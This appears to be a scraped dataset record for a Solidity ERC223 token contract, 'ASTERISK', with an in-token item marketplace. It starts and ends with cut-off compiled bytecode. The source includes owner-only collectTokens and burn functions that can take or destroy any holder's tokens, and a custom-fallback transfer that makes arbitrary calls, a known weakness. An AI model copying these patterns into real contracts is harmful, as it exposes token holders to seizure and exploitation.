fff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c56e73529946ecc548f8c509d41403ed40e8098b819ecd43ed4799b47e8b007c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,173 |
0xe040e664a74ae857f19522e960059495d31adda9
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _new_owner) onlyOwner public returns (bool _success) {
require(_new_owner != address(0));
owner = _new_owner;
emit OwnershipTransferred(owner, _new_owner);
return true;
}
}
contract Pausable is Ownable {
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
function setPauseStatus(bool _pause) onlyOwner public returns (bool _success) {
paused = _pause;
return true;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool _success);
function transfer(address to, uint value, bytes data) public returns (bool _success);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
function totalSupply() public view returns (uint256 _totalSupply);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool _success);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success);
function approve(address _spender, uint256 _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint256 _remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract ASTERISK is ERC223, Pausable {
using SafeMath for uint256;
string public name = "asterisk";
string public symbol = "ASTER";
uint8 public decimals = 9;
uint256 public totalSupply = 10e9 * 1e9;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public frozenAccount;
event Freeze(address indexed target, uint256 value);
event Unfreeze(address indexed target, uint256 value);
event Burn(address indexed from, uint256 amount);
event Rain(address indexed from, uint256 amount);
struct ITEM {
uint256 id;
address owner;
mapping(address => uint256) holders;
string name;
uint256 price;
uint256 itemTotalSupply;
bool transferable;
bool approveForAll;
string option;
uint256 limitHolding;
}
struct ALLOWANCEITEM {
uint256 amount;
uint256 price;
}
mapping(uint256 => ITEM) public items;
uint256 public itemId = 1;
mapping(address => mapping(address => mapping(uint256 => ALLOWANCEITEM))) public allowanceItems;
constructor() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
modifier messageSenderNotFrozen() {
require(frozenAccount[msg.sender] == false);
_;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return balanceOf[_owner];
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) messageSenderNotFrozen whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[_to] == false);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) messageSenderNotFrozen whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[_to] == false);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) messageSenderNotFrozen whenNotPaused public returns (bool _success) {
require(_value > 0 && frozenAccount[_to] == false);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool _success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false && frozenAccount[_to] == false);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool _success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {
return allowance[_owner][_spender];
}
function freezeAccounts(address[] _targets) onlyOwner whenNotPaused public returns (bool _success) {
require(_targets.length > 0);
for (uint j = 0; j < _targets.length; j++) {
require(_targets[j] != 0x0);
frozenAccount[_targets[j]] = true;
emit Freeze(_targets[j], balanceOf[_targets[j]]);
}
return true;
}
function unfreezeAccounts(address[] _targets) onlyOwner whenNotPaused public returns (bool _success) {
require(_targets.length > 0);
for (uint j = 0; j < _targets.length; j++) {
require(_targets[j] != 0x0);
frozenAccount[_targets[j]] = false;
emit Unfreeze(_targets[j], balanceOf[_targets[j]]);
}
return true;
}
function isFrozenAccount(address _target) public view returns (bool _is_frozen){
return frozenAccount[_target] == true;
}
function isContract(address _target) private view returns (bool _is_contract) {
uint length;
assembly {
length := extcodesize(_target)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool _success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool _success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _from, uint256 _amount) onlyOwner whenNotPaused public returns (bool _success) {
require(_amount > 0 && balanceOf[_from] >= _amount);
balanceOf[_from] = balanceOf[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Burn(_from, _amount);
return true;
}
function rain(address[] _addresses, uint256 _amount) messageSenderNotFrozen whenNotPaused public returns (bool _success) {
require(_amount > 0 && _addresses.length > 0);
uint256 totalAmount = _amount.mul(_addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
for (uint j = 0; j < _addresses.length; j++) {
require(_addresses[j] != address(0));
balanceOf[_addresses[j]] = balanceOf[_addresses[j]].add(_amount);
emit Transfer(msg.sender, _addresses[j], _amount);
}
emit Rain(msg.sender, totalAmount);
return true;
}
function collectTokens(address[] _addresses, uint[] _amounts) onlyOwner whenNotPaused public returns (bool _success) {
require(_addresses.length > 0 && _amounts.length > 0
&& _addresses.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _addresses.length; j++) {
require(_amounts[j] > 0 && _addresses[j] != address(0)
&& balanceOf[_addresses[j]] >= _amounts[j]);
balanceOf[_addresses[j]] = balanceOf[_addresses[j]].sub(_amounts[j]);
totalAmount = totalAmount.add(_amounts[j]);
emit Transfer(_addresses[j], msg.sender, _amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function createItemId() whenNotPaused private returns (uint256 _id) {
return itemId++;
}
function createItem(string _name, uint256 _initial_amount, uint256 _price, bool _transferable, bool _approve_for_all, string _option, uint256 _limit_holding) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (uint256 _id) {
uint256 item_id = createItemId();
ITEM memory i;
i.id = item_id;
i.owner = msg.sender;
i.name = _name;
i.price = _price;
i.itemTotalSupply = _initial_amount;
i.transferable = _transferable;
i.approveForAll = _approve_for_all;
i.option = _option;
i.limitHolding = _limit_holding;
items[item_id] = i;
items[item_id].holders[msg.sender] = _initial_amount;
return i.id;
}
function getItemAmountOf(uint256 _id, address _holder) whenNotItemStopped whenNotPaused public view returns (uint256 _amount) {
return items[_id].holders[_holder];
}
function setItemOption(uint256 _id, string _option) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].owner == msg.sender);
items[_id].option = _option;
return true;
}
function setItemApproveForAll(uint256 _id, bool _approve_for_all) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].owner == msg.sender);
items[_id].approveForAll = _approve_for_all;
return true;
}
function setItemTransferable(uint256 _id, bool _transferable) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].owner == msg.sender);
items[_id].transferable = _transferable;
return true;
}
function setItemPrice(uint256 _id, uint256 _price) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].owner == msg.sender && _price >= 0);
items[_id].price = _price;
return true;
}
function setItemLimitHolding(uint256 _id, uint256 _limit) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].owner == msg.sender && _limit > 0);
items[_id].limitHolding = _limit;
return true;
}
function buyItem(uint256 _id, uint256 _amount) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(items[_id].approveForAll
&& _amount > 0
&& items[_id].holders[items[_id].owner] >= _amount);
uint256 afterAmount = items[_id].holders[msg.sender].add(_amount);
require(items[_id].limitHolding >= afterAmount);
uint256 value = items[_id].price.mul(_amount);
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
items[_id].holders[items[_id].owner] = items[_id].holders[items[_id].owner].sub(_amount);
items[_id].holders[msg.sender] = items[_id].holders[msg.sender].add(_amount);
balanceOf[items[_id].owner] = balanceOf[items[_id].owner].add(value);
return true;
}
function allowanceItem(uint256 _id, uint256 _amount, uint256 _price, address _to) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(_amount > 0 && _price >= 0
&& _to != address(0)
&& items[_id].holders[msg.sender] >= _amount
&& items[_id].transferable);
ALLOWANCEITEM memory a;
a.price = _price;
a.amount = _amount;
allowanceItems[msg.sender][_to][_id] = a;
return true;
}
function getItemAllowanceAmount(uint256 _id, address _from, address _to) whenNotItemStopped whenNotPaused public view returns (uint256 _amount) {
return allowanceItems[_from][_to][_id].amount;
}
function getItemAllowancePrice(uint256 _id, address _from, address _to) whenNotItemStopped whenNotPaused public view returns (uint256 _price) {
return allowanceItems[_from][_to][_id].price;
}
function transferItemFrom(uint256 _id, address _from, uint256 _amount, uint256 _price) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(_amount > 0 && _price >= 0 && frozenAccount[_from] == false);
uint256 value = _amount.mul(_price);
require(allowanceItems[_from][msg.sender][_id].amount >= _amount
&& allowanceItems[_from][msg.sender][_id].price >= _price
&& balanceOf[msg.sender] >= value
&& items[_id].holders[_from] >= _amount
&& items[_id].transferable);
uint256 afterAmount = items[_id].holders[msg.sender].add(_amount);
require(items[_id].limitHolding >= afterAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
allowanceItems[_from][msg.sender][_id].amount = allowanceItems[_from][msg.sender][_id].amount.sub(_amount);
items[_id].holders[_from] = items[_id].holders[_from].sub(_amount);
items[_id].holders[msg.sender] = items[_id].holders[msg.sender].add(_amount);
balanceOf[_from] = balanceOf[_from].add(value);
return true;
}
function transferItem(uint256 _id, address _to, uint256 _amount) messageSenderNotFrozen whenNotItemStopped whenNotPaused public returns (bool _success) {
require(frozenAccount[_to] == false && _to != address(0)
&& _amount > 0 && items[_id].holders[msg.sender] >= _amount
&& items[_id].transferable);
uint256 afterAmount = items[_id].holders[_to].add(_amount);
require(items[_id].limitHolding >= afterAmount);
items[_id].holders[msg.sender] = items[_id].holders[msg.sender].sub(_amount);
items[_id].holders[_to] = items[_id].holders[_to].add(_amount);
return true;
}
bool public isItemStopped = false;
modifier whenNotItemStopped() {
require(!isItemStopped);
_;
}
function setItemStoppedStatus(bool _status) onlyOwner whenNotPaused public returns (bool _success) {
isItemStopped = _status;
return true;
}
function() payable public {}
}
|
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101f0578063095ea7b3146102805780630cf8bcab146102e55780631046d07814610336578063170e2070146103af57806318160ddd1461042d57806323b872dd1461045857806324223a3c146104dd578063313ce567146105565780634028db79146105875780634229c35e146105e2578063457c600c146106315780634f538ae1146106b2578063599dc6be1461073a5780635c975abb14610781578063690d23be146107b05780636ab9eb451461081157806370a082311461089257806389f27d55146108e95780638da5cb5b146109585780639301eb36146109af57806395d89b4114610a3a5780639979c00914610aca5780639dc29fac14610b19578063a9059cbb14610b7e578063aad1202914610be3578063b414d4b614610c61578063be45fd6214610cbc578063bfb231d214610d67578063c38bb53714610ede578063c3aa0fe614610f25578063ca6158cb14610f74578063dd62ed3e14610f9f578063ebb05f9c14611016578063ed92df9014611067578063f0dc4171146110ef578063f22c618e146111b0578063f2fde38b146111df578063f6368f8a1461123a578063fa695dd71461132b575b005b3480156101fc57600080fd5b50610205611424565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024557808201518184015260208101905061022a565b50505050905090810190601f1680156102725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028c57600080fd5b506102cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c6565b604051808215151515815260200191505060405180910390f35b3480156102f157600080fd5b5061031c600480360381019080803590602001909291908035151590602001909291905050506115d4565b604051808215151515815260200191505060405180910390f35b34801561034257600080fd5b5061039560048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611714565b604051808215151515815260200191505060405180910390f35b3480156103bb57600080fd5b5061041360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611ec3565b604051808215151515815260200191505060405180910390f35b34801561043957600080fd5b506104426120da565b6040518082815260200191505060405180910390f35b34801561046457600080fd5b506104c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120e4565b604051808215151515815260200191505060405180910390f35b3480156104e957600080fd5b5061053c600480360381019080803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061257e565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b5061056b6127c5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561059357600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127dc565b604051808215151515815260200191505060405180910390f35b3480156105ee57600080fd5b506106176004803603810190808035906020019092919080359060200190929190505050612839565b604051808215151515815260200191505060405180910390f35b34801561063d57600080fd5b5061069c60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612973565b6040518082815260200191505060405180910390f35b3480156106be57600080fd5b506107206004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050612a47565b604051808215151515815260200191505060405180910390f35b34801561074657600080fd5b50610767600480360381019080803515159060200190929190505050612de2565b604051808215151515815260200191505060405180910390f35b34801561078d57600080fd5b50610796612e7f565b604051808215151515815260200191505060405180910390f35b3480156107bc57600080fd5b506107fb60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e92565b6040518082815260200191505060405180910390f35b34801561081d57600080fd5b5061087c60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f28565b6040518082815260200191505060405180910390f35b34801561089e57600080fd5b506108d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ffc565b6040518082815260200191505060405180910390f35b3480156108f557600080fd5b5061093e60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613045565b604051808215151515815260200191505060405180910390f35b34801561096457600080fd5b5061096d613421565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b50610a2060048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050613447565b604051808215151515815260200191505060405180910390f35b348015610a4657600080fd5b50610a4f613584565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a8f578082015181840152602081019050610a74565b50505050905090810190601f168015610abc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ad657600080fd5b50610aff6004803603810190808035906020019092919080359060200190929190505050613626565b604051808215151515815260200191505060405180910390f35b348015610b2557600080fd5b50610b64600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613c1f565b604051808215151515815260200191505060405180910390f35b348015610b8a57600080fd5b50610bc9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613dfb565b604051808215151515815260200191505060405180910390f35b348015610bef57600080fd5b50610c4760048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050613f1a565b604051808215151515815260200191505060405180910390f35b348015610c6d57600080fd5b50610ca2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614131565b604051808215151515815260200191505060405180910390f35b348015610cc857600080fd5b50610d4d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050614151565b604051808215151515815260200191505060405180910390f35b348015610d7357600080fd5b50610d926004803603810190808035906020019092919050505061426d565b604051808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200188815260200187815260200186151515158152602001851515151581526020018060200184815260200183810383528a818151815260200191508051906020019080838360005b83811015610e34578082015181840152602081019050610e19565b50505050905090810190601f168015610e615780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e9a578082015181840152602081019050610e7f565b50505050905090810190601f168015610ec75780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b348015610eea57600080fd5b50610f0b600480360381019080803515159060200190929190505050614425565b604051808215151515815260200191505060405180910390f35b348015610f3157600080fd5b50610f5a60048036038101908080359060200190929190803590602001909291905050506144a6565b604051808215151515815260200191505060405180910390f35b348015610f8057600080fd5b50610f896145df565b6040518082815260200191505060405180910390f35b348015610fab57600080fd5b50611000600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506145e5565b6040518082815260200191505060405180910390f35b34801561102257600080fd5b5061104d6004803603810190808035906020019092919080351515906020019092919050505061466c565b604051808215151515815260200191505060405180910390f35b34801561107357600080fd5b506110d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506147ac565b604051808381526020018281526020019250505060405180910390f35b3480156110fb57600080fd5b5061119660048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506147ea565b604051808215151515815260200191505060405180910390f35b3480156111bc57600080fd5b506111c5614bd9565b604051808215151515815260200191505060405180910390f35b3480156111eb57600080fd5b50611220600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614bec565b604051808215151515815260200191505060405180910390f35b34801561124657600080fd5b50611311600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050614d4c565b604051808215151515815260200191505060405180910390f35b34801561133757600080fd5b5061140e600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803515159060200190929190803515159060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190505050615282565b6040518082815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114bc5780601f10611491576101008083540402835291602001916114bc565b820191906000526020600020905b81548152906001019060200180831161149f57829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156114e457600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561163457600080fd5b600c60009054906101000a900460ff1615151561165057600080fd5b600160149054906101000a900460ff1615151561166c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166009600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156116dc57600080fd5b816009600085815260200190815260200160002060060160006101000a81548160ff0219169083151502179055506001905092915050565b6000806000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561177757600080fd5b600c60009054906101000a900460ff1615151561179357600080fd5b600160149054906101000a900460ff161515156117af57600080fd5b6000851180156117c0575060008410155b801561181c575060001515600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561182757600080fd5b61183a848661552e90919063ffffffff16565b915084600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000898152602001908152602001600020600001541015801561196c575083600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008981526020019081526020016000206001015410155b80156119b7575081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611a165750846009600089815260200190815260200160002060020160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611a4257506009600088815260200190815260200160002060060160009054906101000a900460ff165b1515611a4d57600080fd5b611ab385600960008a815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461556690919063ffffffff16565b905080600960008981526020019081526020016000206008015410151515611ada57600080fd5b611b2c82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461558290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1285600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff